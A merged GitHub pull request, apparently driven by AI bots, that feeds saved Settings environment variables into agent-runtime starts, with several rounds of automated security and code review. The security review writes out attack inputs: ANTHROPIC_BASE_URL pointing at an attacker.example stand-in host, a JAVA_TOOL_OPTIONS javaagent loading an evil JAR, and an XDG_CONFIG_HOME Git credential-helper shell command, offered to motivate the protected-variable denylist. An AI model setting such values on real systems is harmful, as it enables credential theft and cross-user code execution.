Skip to content

fix(runtime-env): apply saved shared and project variables at every agent-runtime start (lr-3c8732) - #432

Merged
clagentic-merger[bot] merged 15 commits into
mainfrom
feat/lr-3c8732-runtime-env-builder
Oct 11, 2026
Merged

clagentic-merger[bot] merged 15 commits into
mainfrom
feat/lr-3c8732-runtime-env-builder

Conversation

@clagentic-builder

@clagentic-builder clagentic-builder Bot commented Oct 11, 2026 •

Copy link
Copy Markdown
Contributor

TASK: lr-3c8732

What

Settings environment variables (shared, and per project) reach every agent-runtime start. One builder (lib/runtime-env.js) lays them over the environment of the runtime and always returns the COMPLETE environment (the Claude Agent SDK options.env replaces the subprocess environment). Protected variables (lib/runtime-env-keys.js, one list, by class) are refused at save with a message naming the variable and line, and dropped at build with one warning per variable and layer (names only, never values). NUL and carriage return in a name or value are refused at save and dropped at build.

  • Claude in process: query, rewind query, title generation and warmup set options.env = process.env + variables.
  • Claude for an OS user: the daemon sends only the variables in query_start; claude-worker.js lays them over the OS user environment and hands the SDK the whole result.
  • Codex: one app-server instance per effective environment (digest key, never logged).
  • A change applies to sessions started after saving. A running or idle-attached runtime is never ended because Settings changed (R9).
  • Docs: architecture.md and MODULE_MAP.md.

Rulings in this PR

  • R1 (structural): in multi-user mode a project envrc applies ONLY to sessions owned by the project owner; shared stays admin-only and reaches everyone; single-user unchanged. get/set_project_env limited to the project owner and administrators; project_env_result carries appliesTo and canEdit; a project envrc is removed when its owner changes (R8).
  • R2: worktree sessions use the parent project envrc and owner. R5: the proto test uses an own key.
  • R6: the daemon idle reaper reaches the Codex adapter instances (lib/idle-adapter-reaper.js).
  • R9: live retirement on a settings change is removed entirely (R3 and R7 superseded).
  • R10: Codex per environment, all per-server state instance-owned; one lookup; supportedModels fails closed without env.
  • R11: NUL and CR rejected at save, dropped at build; the unquoted shell-metacharacter rule stays.
  • R12: the child.kill cleanup swallows only ESRCH; the callbacks test is behavioural.
  • R13 (this round, a removal): the lookup for a live instance that holds the thread is deleted from lib/yoke/adapters/codex.js, with the per-instance thread set that existed only for it (createInstance threads, the reset in dropInstance, the onThread callback and its call, the add after a fork). forkSession and rollbackThread now run on the instance for the caller runtimeEnv fingerprint via acquireInstance (runOnCallerInstance), exactly like every other entry point. If that instance cannot operate on the thread the operation throws, and rewind fails without trimming history (R10(e)). Architecture doc updated to match.

Proof after R13, git grep -n -E "runOnThread|.threads\b|threads: new Set|onThread|inst.threads" -- lib docs test -> 0 hits (exit 1): no code path selects an instance by thread id.

class sweep: git grep -n -E ".(init|supportedModels|createQuery|generateTitle|forkSession|rollbackThread)(" -- lib: 11 call sites can reach the Codex adapter and each passes runtimeEnv (null or overlay).

Demonstrated failure (R14)

Each changed test file was run, with the test files of this head, against lib/ of the head where its defect existed (lib/ taken from a scratch clone checked out at that sha under the spawn scratch directory, never the shared tree). Failing test names per file:

Against e121684 (R1/R2/R5 and the earlier Codex shape):

  • runtime-env-multi-user.test.js: 8 fail (owner saves, shared reach, worktree parent, no-owner, administrator in another project, warmup, owner/admin get/set gate, worktree Settings read/write); passes only: a save while a runtime is attached leaves it alone.
  • runtime-env-single-user.test.js: a worktree runs with its parent variables; the owner Settings page is told the variables apply to every session.
  • runtime-env-owner-change.test.js: transferring a project removes the previous owner variables; saving again to the same owner keeps the text; clearing the owner removes the text too.
  • runtime-env-idle-reclaim.test.js: file fails to load (lib/idle-adapter-reaper does not exist at that head).
  • runtime-env-builder.test.js: a project text applies to every session in single-user mode and only to the owner in multi-user; in multi-user a missing owner or unknown mode applies the text to no one; NUL/CR refused when saved; NUL/CR dropped when built; an overlay handed to the composer loses NUL/CR.
  • runtime-env-adapters.test.js: 12 fail (a Codex query whose environment differs runs on its own app-server; no-Settings query not served by a server that has some; idle reclaim; failed start leaves nothing behind; per-environment models; title model; call without environment refused; fork/rollback A after B; fork/rollback on the caller server; no-environment thread operation; restart after reclaim; server in use during a thread operation).
  • runtime-env-codex-sessions.test.js: a rewind after the idle reclaim rolls back on a server for the session environment; a rewind whose Codex thread cannot be rolled back fails and leaves the history.
  • runtime-env-settings-reach-runtime.test.js and server-forwards-project-callbacks.test.js: pass at that head (their defect is against main, which never forwarded the callbacks).

Against 199fcc5 (R10/R11/R12):

  • runtime-env-adapters.test.js: two environments each see their own models and default; title uses the caller environment default; a call without environment is refused; a thread operation after A server was reclaimed restarts the server for the caller environment; a server doing a thread operation is not reclaimed.
  • runtime-env-codex-sessions.test.js: a session environment does not decide the model list the project shows everyone; the rewind after reclaim; the failing rollback leaves history.
  • runtime-env-builder.test.js: NUL/CR refused at save; NUL/CR dropped at build; overlay handed to the composer loses NUL/CR.
  • runtime-env-protected-keys.test.js, runtime-env-idle-reclaim.test.js, server-forwards-project-callbacks.test.js: pass at that head (the R12 forwarding test has no failing case against it).

Against ec8c5ff (R13):

  • runtime-env-adapters.test.js: fork and rollback run on the caller environment server, never on the one that holds the thread; a rollback the caller server cannot do fails even when another server holds the thread.
  • runtime-env-codex-sessions.test.js: passes at that head.

Caller shapes (CREW_SOP section 6)

No hook, guard, gate or test runner of the crew changes. Product-side shapes, each with a test through the real code: Claude in process and worker; Codex app-server (per-fingerprint instances, idle reclaim, per-instance models and default, fork/rollback by the caller env, runtimeEnv null); title generation; warmups; single-user; multi-user without os-users; worktree sessions; project with no envrc; shared env empty; protected key already saved; settings saved while a runtime is attached vs session started after; project owner change. Pending post-merge real run: a real claude subprocess (single-user and os-users) and a real codex app-server printing a Settings variable.

Tests

npm test at the pushed head. Failing-test-ID set = [lr-29f9 (5): ceiling - query at MAX_CONCURRENT is rejected with error+done immediately; lr-2d91 (4): getMemoryStats returns activeLiveCount and maxConcurrentSessions] (the two known local env-inheritance failures, lr-3c00dd; unrelated). test-gate exits 4 (not a pytest suite).

Followups

  • lr-638969: outside-range sdk-bridge teardown nits (idle reaper leaves a closing query attached; superseded stream clears messageQueue; empty catch on runtime close). Not touched here.
  • lr-bd98e5 (endpoint profiles) layers on queryOpts.runtimeEnv at the YOKE query boundary.

🤖 Generated with Claude Code

clagentic-builder Bot and others added 4 commits October 10, 2026 23:36
…om the runtime environment (lr-3c8732)

A real server, real WebSocket client, project context, SDK bridge and Claude adapter, with the Agent SDK stood in. On this base the variables are absent from the environment the Claude Code subprocess gets, and the Settings save is answered Not supported because the server never hands the env handlers to a project.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ted-variable list (lr-3c8732)

One builder lays the shared and project Settings texts over a runtime's own environment and always returns the complete environment. One module lists the variables Settings may not set, by class, refused at save time and dropped at build time.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…gent-runtime start (lr-3c8732)

Settings variables were stored and shown but never reached a runtime, and the server never handed the environment handlers to a project, so saving was answered Not supported. server.js now forwards them (and three other daemon callbacks the same way: auto-continue, tokens-per-MB headroom, restart for build update). Claude in process and in an OS user's worker, the Codex app-server, title generation and warmups take their environment from the builder. Saved changes restart idle runtimes; a running turn is never killed. The Settings pages now show the server's answer instead of an optimistic Saved.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…d which are protected (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@clagentic-security

Copy link
Copy Markdown

BOBBIE — blocking (1 finding(s), 1 dropped)

  • lib/runtime-env-keys.js:14 [bobbie.uncat.1] (blocking) The denylist omits code-loading variables such as JAVA_TOOL_OPTIONS, enabling cross-user code execution; no enumerated rule covers unsafe runtime environment variables.
    failure sequence: Project owner saves ANTHROPIC_BASE_URL=https://attacker.example or JAVA_TOOL_OPTIONS=-javaagent:/shared/evil.jar (neither in CLASSES in lib/runtime-env-keys.js; validateEnvText accepts them) -> another user's session in that project starts with the owner's env -> the redirected endpoint receives that user's API key / the agent JAR runs as the victim OS user -> credential theft and cross-user code execution

Dropped candidates (1):

  • test/runtime-env-protected-keys.test.js:39 [bobbie.sast.7] NODE_TLS_REJECT_UNAUTHORIZED is explicitly allowed; setting it to 0 disables Node TLS certificate verification for the spawned runtime. (reason: Test assertion documenting an allowed variable, not a distinct defect; the same denylist-gap class is covered by finding 0)
{"reviewer": "bobbie", "review_status": "blocking", "head_sha": "e121684d51c750282b1274181210cf238d5dec97", "pr_number": 432, "failure_sequences": [{"file": "lib/runtime-env-keys.js", "line": 14, "rule_id": "bobbie.uncat.1", "failure_sequence": "Project owner saves ANTHROPIC_BASE_URL=https://attacker.example or JAVA_TOOL_OPTIONS=-javaagent:/shared/evil.jar (neither in CLASSES in lib/runtime-env-keys.js; validateEnvText accepts them) -> another user's session in that project starts with the owner's env -> the redirected endpoint receives that user's API key / the agent JAR runs as the victim OS user -> credential theft and cross-user code execution"}], "dropped": [{"file": "test/runtime-env-protected-keys.test.js", "line": 39, "rule_id": "bobbie.sast.7", "message": "NODE_TLS_REJECT_UNAUTHORIZED is explicitly allowed; setting it to 0 disables Node TLS certificate verification for the spawned runtime.", "reason": "Test assertion documenting an allowed variable, not a distinct defect; the same denylist-gap class is covered by finding 0"}]}

@clagentic-reviewer

Copy link
Copy Markdown

PEACHES — blocking (4 finding(s))

  • lib/runtime-env-keys.js:96 [amos.path-choice.4] (blocking) The protected-key sweep falls through to return null for XDG_CONFIG_HOME, which redirects Git to attacker-controlled configuration and preserves cross-user code execution.
    failure sequence: Project owner saves XDG_CONFIG_HOME=/project/.cfg and places .cfg/git/config with a credential helper set to a shell command -> another OS user starts an agent in that project, Git loads the owner's config on a credential request and runs the command as that user
  • lib/sdk-bridge.js:636 [amos.code-craft.6] (blocking) The empty catch hides a failed close, yet retireStaleRuntime still returns true, leaving a stale runtime active with its previous environment.
    failure sequence: An idle persistent session exists and queryInstance.close() throws -> applyRuntimeEnvChange swallows the error and counts the runtime as retired -> the next message reuses the live query carrying removed or rotated environment credentials
  • lib/yoke/adapters/codex.js:1869 [amos.path-choice.1] (blocking) When _refCount is nonzero, a query with a different runtimeEnv proceeds on the existing server, using another environment's endpoint or credentials.
    failure sequence: Query A starts with runtimeEnv for service A and stays open -> query B starts with runtimeEnv for service B while refCount is nonzero -> restart is skipped and B runs against service A, misrouting data or credentials
  • test/runtime-env-protected-keys.test.js:83 [amos.code-craft.4] (nit) The proto case is vacuous: assigning it on {} invokes the prototype setter instead of creating an own overlay key, so this does not regression-test the compose gate.
{"reviewer": "peaches", "review_status": "blocking", "head_sha": "e121684d51c750282b1274181210cf238d5dec97", "pr_number": 432, "failure_sequences": [{"file": "lib/runtime-env-keys.js", "line": 96, "rule_id": "amos.path-choice.4", "failure_sequence": "Project owner saves XDG_CONFIG_HOME=/project/.cfg and places .cfg/git/config with a credential helper set to a shell command -> another OS user starts an agent in that project, Git loads the owner's config on a credential request and runs the command as that user"}, {"file": "lib/sdk-bridge.js", "line": 636, "rule_id": "amos.code-craft.6", "failure_sequence": "An idle persistent session exists and queryInstance.close() throws -> applyRuntimeEnvChange swallows the error and counts the runtime as retired -> the next message reuses the live query carrying removed or rotated environment credentials"}, {"file": "lib/yoke/adapters/codex.js", "line": 1869, "rule_id": "amos.path-choice.1", "failure_sequence": "Query A starts with runtimeEnv for service A and stays open -> query B starts with runtimeEnv for service B while refCount is nonzero -> restart is skipped and B runs against service A, misrouting data or credentials"}]}

clagentic-builder Bot and others added 4 commits October 11, 2026 00:31
…a failed close reused, and one Codex server serving two environments (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…sions and never reuse a runtime that failed to close (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…never runs on another environment's server (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ement of a runtime that cannot close, and per-environment Codex servers (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@clagentic-builder
clagentic-builder Bot force-pushed the feat/lr-3c8732-runtime-env-builder branch from e121684 to c1ccabc Compare October 11, 2026 04:32
clagentic-builder Bot and others added 2 commits October 11, 2026 00:53
…m cannot clobber its replacement (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…he idle reaper and test the owner-change envrc removal (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@clagentic-security

Copy link
Copy Markdown

BOBBIE — clean (0 finding(s))

{"reviewer": "bobbie", "review_status": "clean", "head_sha": "199fcc5be99eb2e917033e80d0096d4779416513", "pr_number": 432}

@clagentic-reviewer

Copy link
Copy Markdown

PEACHES — blocking (7 finding(s), 2 dropped)

  • lib/runtime-env.js:68 [amos.path-choice.1] (blocking) Validation models shell syntax instead of OS environment constraints: it rejects valid literal values such as URLs with &, yet permits NUL.
    failure sequence: Save TOKEN with an embedded NUL character in the value; validation reports no issue and the value enters the composed environment -> when the agent subprocess starts Node rejects the NUL-containing environment and the runtime fails to launch
  • lib/sdk-bridge.js:1962 [amos.path-choice.1] (blocking) session._queryToken is replaced even when reusing an existing query, so the live stream becomes incorrectly classified as superseded and skips guarded cleanup.
    failure sequence: Send a second turn while the persistent query stays attached so startQuery reuses it and replaces session._queryToken -> the live stream is now not current, so when it stops or errors the guarded cleanup is skipped and the session keeps stale queue, worker and flag state
  • lib/sdk-bridge.js:441 [amos.path-choice.1] (blocking) endIdleQuery only signals asynchronous closure and leaves the stale query attached, allowing a concurrent message to be routed to the old environment.
    failure sequence: Save changed runtime settings while a runtime is idle, then send a message before the closed stream reaches its finally block -> session.queryInstance still references the closing runtime so the message is pushed into the ended runtime and runs with the previous environment or is lost
  • lib/yoke/adapters/codex.js:1757 [amos.path-choice.1] (blocking) Per-environment instances still share _cachedModels, so this early return can serve another endpoint's model catalog.
    failure sequence: Initialize environment A then environment B with a different base URL or model set; B overwrites the shared _cachedModels -> reusing A returns early and advertises B-only models, so queries against A fail at A's endpoint
  • lib/yoke/adapters/codex.js:2123 [amos.path-choice.1] (blocking) A fork without opts.runtimeEnv is routed through the globally last-used instance, which may belong to another user's environment.
    failure sequence: User A creates a thread; user B runs the latest query; a legacy caller invokes forkSession on A's thread without options -> startedInstanceFor selects B's server, producing a not-found failure or processing A's thread under B's credentials
  • test/runtime-env-adapters.test.js:206 [amos.code-craft.6] (nit) The cleanup catches every child.kill error as “already gone,” hiding unexpected failures such as EPERM; suppress only the expected already-exited case.
  • test/server-forwards-project-callbacks.test.js:52 [amos.code-craft.4] (nit) This source-text check passes when a callback property is wired to the wrong value, so it does not regression-test runtime forwarding behavior. Add a behavioral callback test.

Dropped candidates (2):

  • lib/runtime-env.js:136 [amos.path-choice.1] Overlay keys are merged case-sensitively, so later-layer precedence is not preserved on Windows, where environment names are case-insensitive. (reason: Hedged Windows-only case-insensitive merge (may retain the earlier key); the deployment is Linux and no supported Windows target is shown, so blocking is not defensible)
  • lib/runtime-env-keys.js:105 [amos.code-craft.12] Exporting mutable CLASSES exposes the policy table's internal representation to outside callers and lets them accidentally mutate the protection policy. (reason: Exported CLASSES: the finding does not name the outside caller that can reach the mutable detail, which amos.code-craft.12 requires)
{"reviewer": "peaches", "review_status": "blocking", "head_sha": "199fcc5be99eb2e917033e80d0096d4779416513", "pr_number": 432, "failure_sequences": [{"file": "lib/runtime-env.js", "line": 68, "rule_id": "amos.path-choice.1", "failure_sequence": "Save TOKEN with an embedded NUL character in the value; validation reports no issue and the value enters the composed environment -> when the agent subprocess starts Node rejects the NUL-containing environment and the runtime fails to launch"}, {"file": "lib/sdk-bridge.js", "line": 1962, "rule_id": "amos.path-choice.1", "failure_sequence": "Send a second turn while the persistent query stays attached so startQuery reuses it and replaces session._queryToken -> the live stream is now not current, so when it stops or errors the guarded cleanup is skipped and the session keeps stale queue, worker and flag state"}, {"file": "lib/sdk-bridge.js", "line": 441, "rule_id": "amos.path-choice.1", "failure_sequence": "Save changed runtime settings while a runtime is idle, then send a message before the closed stream reaches its finally block -> session.queryInstance still references the closing runtime so the message is pushed into the ended runtime and runs with the previous environment or is lost"}, {"file": "lib/yoke/adapters/codex.js", "line": 1757, "rule_id": "amos.path-choice.1", "failure_sequence": "Initialize environment A then environment B with a different base URL or model set; B overwrites the shared _cachedModels -> reusing A returns early and advertises B-only models, so queries against A fail at A's endpoint"}, {"file": "lib/yoke/adapters/codex.js", "line": 2123, "rule_id": "amos.path-choice.1", "failure_sequence": "User A creates a thread; user B runs the latest query; a legacy caller invokes forkSession on A's thread without options -> startedInstanceFor selects B's server, producing a not-found failure or processing A's thread under B's credentials"}], "dropped": [{"file": "lib/runtime-env.js", "line": 136, "rule_id": "amos.path-choice.1", "message": "Overlay keys are merged case-sensitively, so later-layer precedence is not preserved on Windows, where environment names are case-insensitive.", "reason": "Hedged Windows-only case-insensitive merge (may retain the earlier key); the deployment is Linux and no supported Windows target is shown, so blocking is not defensible"}, {"file": "lib/runtime-env-keys.js", "line": 105, "rule_id": "amos.code-craft.12", "message": "Exporting mutable `CLASSES` exposes the policy table's internal representation to outside callers and lets them accidentally mutate the protection policy.", "reason": "Exported CLASSES: the finding does not name the outside caller that can reach the mutable detail, which amos.code-craft.12 requires"}]}

clagentic-builder Bot and others added 3 commits October 11, 2026 01:35
…gs change (lr-3c8732)

A save now applies to runtimes started after it; a running or idle-attached
runtime is never ended for it. Removes applyRuntimeEnvChange, the runtime
signature, the scheduled retire, endIdleQuery/detachUnendableRuntime, the
query-token gating (the base stream teardown is restored; the replacement-query
guard stays), the daemon's refreshRuntimeEnv and the settings onChanged hook.
The bridge now always sends runtimeEnv on a YOKE call (null for none) and fills
the shared Codex model list from the no-session environment only.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…e and resolve one instance for every operation (lr-3c8732)

Models, default model, threads, ref count and init now live on the instance;
the adapter-level model cache, last-used and any-started fallbacks are gone.
init, queries, model lists, titles, fork and rollback take one lookup that
requires runtimeEnv (null = daemon environment). A thread operation runs on the
live instance that holds the thread, else starts the instance for the caller's
environment, else throws. A rewind rolls the Codex thread back before trimming
local history and fails without trimming when it cannot.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…them when built; test callbacks by behaviour (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@clagentic-security

Copy link
Copy Markdown

BOBBIE — clean (0 finding(s), 1 dropped)

Dropped candidates (1):

  • lib/yoke/adapters/codex.js:1748 [bobbie.uncat.1] Thread lookup accepts any environment holding the ID, allowing cross-environment fork or rollback of another user's thread. (reason: Thread id is a server-held session record value (unguessable UUID), not caller-supplied, and session access is gated per user; no concrete path for user A to present user B's threadId, so the cross-environment lookup is hypothetical.)
{"reviewer": "bobbie", "review_status": "clean", "head_sha": "ec8c5ff97174dd315c7130e1f241a3eb410e776e", "pr_number": 432, "dropped": [{"file": "lib/yoke/adapters/codex.js", "line": 1748, "rule_id": "bobbie.uncat.1", "message": "Thread lookup accepts any environment holding the ID, allowing cross-environment fork or rollback of another user's thread.", "reason": "Thread id is a server-held session record value (unguessable UUID), not caller-supplied, and session access is gated per user; no concrete path for user A to present user B's threadId, so the cross-environment lookup is hypothetical."}]}

@clagentic-reviewer

Copy link
Copy Markdown

PEACHES — blocking (4 finding(s), 1 dropped)

  • lib/yoke/adapters/codex.js:1746 [amos.path-choice.1] (blocking) holder || await acquireInstance(...) selects a thread holder even when its fingerprint differs from the caller's required environment.
    failure sequence: Create a thread on environment A, start environment B, call forkSession(threadA, runtimeEnv B); holder lookup selects A, so B's request forks A's session using A's endpoint and credentials -> cross-environment endpoint and credential use
  • lib/sdk-bridge.js:657 [review.outside-range.1] (nit) outside the PR range: amos.path-choice.1: Idle reaping closes the runtime asynchronously but leaves it attached, so a concurrent message can be sent to the ending query.
  • lib/sdk-bridge.js:1416 [review.outside-range.1] (nit) outside the PR range: amos.path-choice.1: A superseded stream now unconditionally clears session.messageQueue, allowing its late cleanup to destroy a replacement query's state.
  • lib/sdk-bridge.js:1400 [review.outside-range.1] (nit) outside the PR range: amos.code-craft.6: The new empty catch suppresses every runtime-close failure; retain diagnostic handling so failed cleanup is observable.

Dropped candidates (1):

  • lib/runtime-env.js:78 [amos.path-choice.1] Validation still rejects shell metacharacters even though values are passed directly as environment strings, so valid literal values such as URLs containing & cannot be saved. (reason: Restates HOLDEN ruling R11: the unquoted shell-metacharacter rule is intentionally unchanged and quoted values are accepted.)
{"reviewer": "peaches", "review_status": "blocking", "head_sha": "ec8c5ff97174dd315c7130e1f241a3eb410e776e", "pr_number": 432, "failure_sequences": [{"file": "lib/yoke/adapters/codex.js", "line": 1746, "rule_id": "amos.path-choice.1", "failure_sequence": "Create a thread on environment A, start environment B, call forkSession(threadA, runtimeEnv B); holder lookup selects A, so B's request forks A's session using A's endpoint and credentials -> cross-environment endpoint and credential use"}], "dropped": [{"file": "lib/runtime-env.js", "line": 78, "rule_id": "amos.path-choice.1", "message": "Validation still rejects shell metacharacters even though values are passed directly as environment strings, so valid literal values such as URLs containing `&` cannot be saved.", "reason": "Restates HOLDEN ruling R11: the unquoted shell-metacharacter rule is intentionally unchanged and quoted values are accepted."}]}

clagentic-builder Bot and others added 2 commits October 11, 2026 01:51
…nce, drop the thread-holder lookup (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… instance only (lr-3c8732)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@clagentic-reviewer

Copy link
Copy Markdown

PEACHES — clean (0 finding(s), 3 dropped)

Dropped candidates (3):

  • lib/sdk-bridge.js:657 [review.outside-range.1] outside the PR range: amos.path-choice.1: Idle reaping closes the runtime asynchronously but leaves it attached, so a concurrent message can be sent to the ending query. (reason: Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (idle reaper leaves closing query attached), tracked as lr-638969, not to be re-raised on this PR)
  • lib/sdk-bridge.js:1416 [review.outside-range.1] outside the PR range: amos.path-choice.1: A superseded stream now unconditionally clears session.messageQueue, allowing its late cleanup to destroy a replacement query's state. (reason: Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (superseded stream clears messageQueue), tracked as lr-638969, not to be re-raised on this PR)
  • lib/sdk-bridge.js:1400 [review.outside-range.1] outside the PR range: amos.code-craft.6: The new empty catch suppresses every runtime-close failure; retain diagnostic handling so failed cleanup is observable. (reason: Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (empty catch on runtime close), tracked as lr-638969, not to be re-raised on this PR)
{"reviewer": "peaches", "review_status": "clean", "head_sha": "5f2816fdf32ce96e77f660c690efa6ea7c146b12", "pr_number": 432, "dropped": [{"file": "lib/sdk-bridge.js", "line": 657, "rule_id": "review.outside-range.1", "message": "outside the PR range: amos.path-choice.1: Idle reaping closes the runtime asynchronously but leaves it attached, so a concurrent message can be sent to the ending query.", "reason": "Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (idle reaper leaves closing query attached), tracked as lr-638969, not to be re-raised on this PR"}, {"file": "lib/sdk-bridge.js", "line": 1416, "rule_id": "review.outside-range.1", "message": "outside the PR range: amos.path-choice.1: A superseded stream now unconditionally clears session.messageQueue, allowing its late cleanup to destroy a replacement query's state.", "reason": "Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (superseded stream clears messageQueue), tracked as lr-638969, not to be re-raised on this PR"}, {"file": "lib/sdk-bridge.js", "line": 1400, "rule_id": "review.outside-range.1", "message": "outside the PR range: amos.code-craft.6: The new empty catch suppresses every runtime-close failure; retain diagnostic handling so failed cleanup is observable.", "reason": "Restates HOLDEN ruling 5: out-of-scope base sdk-bridge teardown (empty catch on runtime close), tracked as lr-638969, not to be re-raised on this PR"}]}

@clagentic-security

Copy link
Copy Markdown

BOBBIE — clean (0 finding(s))

{"reviewer": "bobbie", "review_status": "clean", "head_sha": "5f2816fdf32ce96e77f660c690efa6ea7c146b12", "pr_number": 432}

@clagentic-merger
clagentic-merger Bot merged commit e87cd73 into main Oct 11, 2026
5 of 6 checks passed
@clagentic-merger

Copy link
Copy Markdown
Contributor

Merged via clagentic-loadout v0.2.0

Field Value
Gated HEAD SHA 5f2816fdf32ce96e77f660c690efa6ea7c146b12
Merged SHA 5f2816fdf32ce96e77f660c690efa6ea7c146b12
Reviews clagentic-reviewer[bot], clagentic-security[bot]
CI status no-runner-by-design (0 commit-status entries at HEAD)
task_id lr-3c8732

@clagentic-merger
clagentic-merger Bot deleted the feat/lr-3c8732-runtime-env-builder branch October 11, 2026 06:04
@clagentic-release-bot

Copy link
Copy Markdown
Contributor

This issue has been resolved in version 1.10.0-beta.1.

To update, run:

npx @clagentic/console@1.10.0-beta.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants